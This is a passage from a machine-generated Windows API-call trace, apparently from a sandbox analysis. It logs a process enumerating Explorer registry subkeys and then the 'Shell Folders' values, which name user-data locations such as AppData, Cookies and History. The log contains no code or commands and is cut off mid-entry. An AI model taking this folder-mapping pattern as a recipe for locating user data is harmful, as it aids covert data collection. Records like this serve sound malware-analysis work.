lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0164.244] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x1dc240, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0164.244] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.244] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.244] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.244] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.244] RegOpenKeyExW (in: hKey=0x110, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x41f720 | out: phkResult=0x41f720*=0xf8) returned 0x0 [0164.244] RegCloseKey (hKey=0x110) returned 0x0 [0164.244] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x0, lpName=0x429d18, cchName=0x104 | out: lpName="Action Center") returned 0x0 [0164.244] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="action center", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0164.244] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="action center", cchWideChar=13, lpMultiByteStr=0x1dc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="action center", lpUsedDefaultChar=0x0) returned 13 [0164.244] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.244] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.244] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.244] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.244] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x1, lpName=0x429d18, cchName=0x104 | out: lpName="Applets") returned 0x0 [0164.245] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0164.245] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x1dc240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0164.245] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.245] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.245] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.245] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.245] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x2, lpName=0x429d18, cchName=0x104 | out: lpName="Controls Folder (Wow64)") returned 0x0 [0164.245] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder (wow64)", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0164.245] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder (wow64)", cchWideChar=23, lpMultiByteStr=0x1dc120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder (wow64)", lpUsedDefaultChar=0x0) returned 23 [0164.245] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.245] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.245] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.245] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.245] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x3, lpName=0x429d18, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0164.245] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0164.245] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x1dc240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0164.245] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.245] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.245] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.245] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.245] RegOpenKeyExW (in: hKey=0xf8, lpSubKey="Explorer", ulOptions=0x0, samDesired=0x20109, phkResult=0x41f720 | out: phkResult=0x41f720*=0x110) returned 0x0 [0164.245] RegCloseKey (hKey=0xf8) returned 0x0 [0164.245] RegEnumKeyW (in: hKey=0x110, dwIndex=0x0, lpName=0x429d18, cchName=0x104 | out: lpName="Advanced") returned 0x0 [0164.245] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0164.245] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced", cchWideChar=8, lpMultiByteStr=0x1dc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced", lpUsedDefaultChar=0x0) returned 8 [0164.245] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.245] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.246] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.246] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.246] RegEnumKeyW (in: hKey=0x110, dwIndex=0x1, lpName=0x429d18, cchName=0x104 | out: lpName="ApplicationDestinations") returned 0x0 [0164.246] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applicationdestinations", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0164.246] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applicationdestinations", cchWideChar=23, lpMultiByteStr=0x1dc240, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applicationdestinations", lpUsedDefaultChar=0x0) returned 23 [0164.246] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.246] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.246] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.246] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.246] RegEnumKeyW (in: hKey=0x110, dwIndex=0x2, lpName=0x429d18, cchName=0x104 | out: lpName="AutoComplete") returned 0x0 [0164.246] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autocomplete", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0164.246] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autocomplete", cchWideChar=12, lpMultiByteStr=0x1dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="autocomplete", lpUsedDefaultChar=0x0) returned 12 [0164.246] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.246] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.246] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.246] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.246] RegEnumKeyW (in: hKey=0x110, dwIndex=0x3, lpName=0x429d18, cchName=0x104 | out: lpName="AutoplayHandlers") returned 0x0 [0164.246] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autoplayhandlers", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0164.246] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autoplayhandlers", cchWideChar=16, lpMultiByteStr=0x1dc240, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="autoplayhandlers", lpUsedDefaultChar=0x0) returned 16 [0164.246] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.246] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.246] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.246] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.246] RegEnumKeyW (in: hKey=0x110, dwIndex=0x4, lpName=0x429d18, cchName=0x104 | out: lpName="BitBucket") returned 0x0 [0164.246] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitbucket", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0164.246] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitbucket", cchWideChar=9, lpMultiByteStr=0x1dc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitbucket", lpUsedDefaultChar=0x0) returned 9 [0164.246] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.246] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.247] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.247] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.247] RegEnumKeyW (in: hKey=0x110, dwIndex=0x5, lpName=0x429d18, cchName=0x104 | out: lpName="CabinetState") returned 0x0 [0164.247] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cabinetstate", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0164.247] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cabinetstate", cchWideChar=12, lpMultiByteStr=0x1dc240, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cabinetstate", lpUsedDefaultChar=0x0) returned 12 [0164.247] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.247] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.247] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.247] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.247] RegEnumKeyW (in: hKey=0x110, dwIndex=0x6, lpName=0x429d18, cchName=0x104 | out: lpName="CD Burning") returned 0x0 [0164.247] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cd burning", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0164.247] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cd burning", cchWideChar=10, lpMultiByteStr=0x1dc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cd burning", lpUsedDefaultChar=0x0) returned 10 [0164.247] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.247] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.247] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.247] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.247] RegEnumKeyW (in: hKey=0x110, dwIndex=0x7, lpName=0x429d18, cchName=0x104 | out: lpName="CIDOpen") returned 0x0 [0164.247] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cidopen", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0164.247] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cidopen", cchWideChar=7, lpMultiByteStr=0x1dc240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cidopen", lpUsedDefaultChar=0x0) returned 7 [0164.247] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.247] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.247] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.247] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.247] RegEnumKeyW (in: hKey=0x110, dwIndex=0x8, lpName=0x429d18, cchName=0x104 | out: lpName="CLSID") returned 0x0 [0164.247] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clsid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0164.247] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clsid", cchWideChar=5, lpMultiByteStr=0x1dc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clsid", lpUsedDefaultChar=0x0) returned 5 [0164.247] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.248] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.248] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.248] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.248] RegEnumKeyW (in: hKey=0x110, dwIndex=0x9, lpName=0x429d18, cchName=0x104 | out: lpName="ComDlg32") returned 0x0 [0164.248] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comdlg32", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0164.248] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comdlg32", cchWideChar=8, lpMultiByteStr=0x1dc240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comdlg32", lpUsedDefaultChar=0x0) returned 8 [0164.248] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.248] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.248] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.248] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.248] RegEnumKeyW (in: hKey=0x110, dwIndex=0xa, lpName=0x429d18, cchName=0x104 | out: lpName="Discardable") returned 0x0 [0164.248] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discardable", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0164.248] RegEnumKeyW (in: hKey=0x110, dwIndex=0xb, lpName=0x429d18, cchName=0x104 | out: lpName="FileExts") returned 0x0 [0164.248] RegEnumKeyW (in: hKey=0x110, dwIndex=0xc, lpName=0x429d18, cchName=0x104 | out: lpName="LowRegistry") returned 0x0 [0164.248] RegEnumKeyW (in: hKey=0x110, dwIndex=0xd, lpName=0x429d18, cchName=0x104 | out: lpName="MenuOrder") returned 0x0 [0164.248] RegEnumKeyW (in: hKey=0x110, dwIndex=0xe, lpName=0x429d18, cchName=0x104 | out: lpName="Modules") returned 0x0 [0164.248] RegEnumKeyW (in: hKey=0x110, dwIndex=0xf, lpName=0x429d18, cchName=0x104 | out: lpName="MountPoints2") returned 0x0 [0164.248] RegEnumKeyW (in: hKey=0x110, dwIndex=0x10, lpName=0x429d18, cchName=0x104 | out: lpName="NewShortcutHandlers") returned 0x0 [0164.248] RegEnumKeyW (in: hKey=0x110, dwIndex=0x11, lpName=0x429d18, cchName=0x104 | out: lpName="RecentDocs") returned 0x0 [0164.248] RegEnumKeyW (in: hKey=0x110, dwIndex=0x12, lpName=0x429d18, cchName=0x104 | out: lpName="RunMRU") returned 0x0 [0164.248] RegEnumKeyW (in: hKey=0x110, dwIndex=0x13, lpName=0x429d18, cchName=0x104 | out: lpName="SearchPlatform") returned 0x0 [0164.327] RegEnumKeyW (in: hKey=0x110, dwIndex=0x14, lpName=0x429d18, cchName=0x104 | out: lpName="Shell Folders") returned 0x0 [0164.327] RegOpenKeyExW (in: hKey=0x110, lpSubKey="Shell Folders", ulOptions=0x0, samDesired=0x20109, phkResult=0x41f720 | out: phkResult=0x41f720*=0xf8) returned 0x0 [0164.327] RegCloseKey (hKey=0x110) returned 0x0 [0164.327] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.327] RegEnumValueA (in: hKey=0xf8, dwIndex=0x0, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="!Do not use this registry key", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.327] RegEnumValueA (in: hKey=0xf8, dwIndex=0x1, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="AppData", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.327] RegEnumValueA (in: hKey=0xf8, dwIndex=0x2, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Local AppData", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.327] RegEnumValueA (in: hKey=0xf8, dwIndex=0x3, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="My Video", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.327] RegEnumValueA (in: hKey=0xf8, dwIndex=0x4, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.327] RegEnumValueA (in: hKey=0xf8, dwIndex=0x5, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="My Pictures", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.327] RegEnumValueA (in: hKey=0xf8, dwIndex=0x6, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Desktop", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.327] RegEnumValueA (in: hKey=0xf8, dwIndex=0x7, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="History", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.328] RegEnumValueA (in: hKey=0xf8, dwIndex=0x8, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="NetHood", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.328] RegEnumValueA (in: hKey=0xf8, dwIndex=0x9, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{56784854-C6CB-462B-8169-88E350ACB882}", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.328] RegEnumValueA (in: hKey=0xf8, dwIndex=0xa, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Cookies", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.328] RegEnumValueA (in: hKey=0xf8, dwIndex=0xb, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Favorites", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.328] RegEnumValueA (in: hKey=0xf8, dwIndex=0xc, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SendTo", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.328] RegEnumValueA (in: hKey=0xf8, dwIndex=0xd, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start Menu", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.328] RegEnumValueA (in: hKey=0xf8, dwIndex=0xe, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="My Music", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.328] RegEnumValueA (in: hKey=0xf8, dwIndex=0xf, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Programs", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.328] RegEnumValueA (in: hKey=0xf8, dwIndex=0x10, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Recent", lpcchValueName=0x41f654, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.328] RegEnumValueA (in: hKey=0xf8, dwIndex=0x11, lpValueName=0x41f658, lpcchValueName=0x41f654, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="CD Burning", 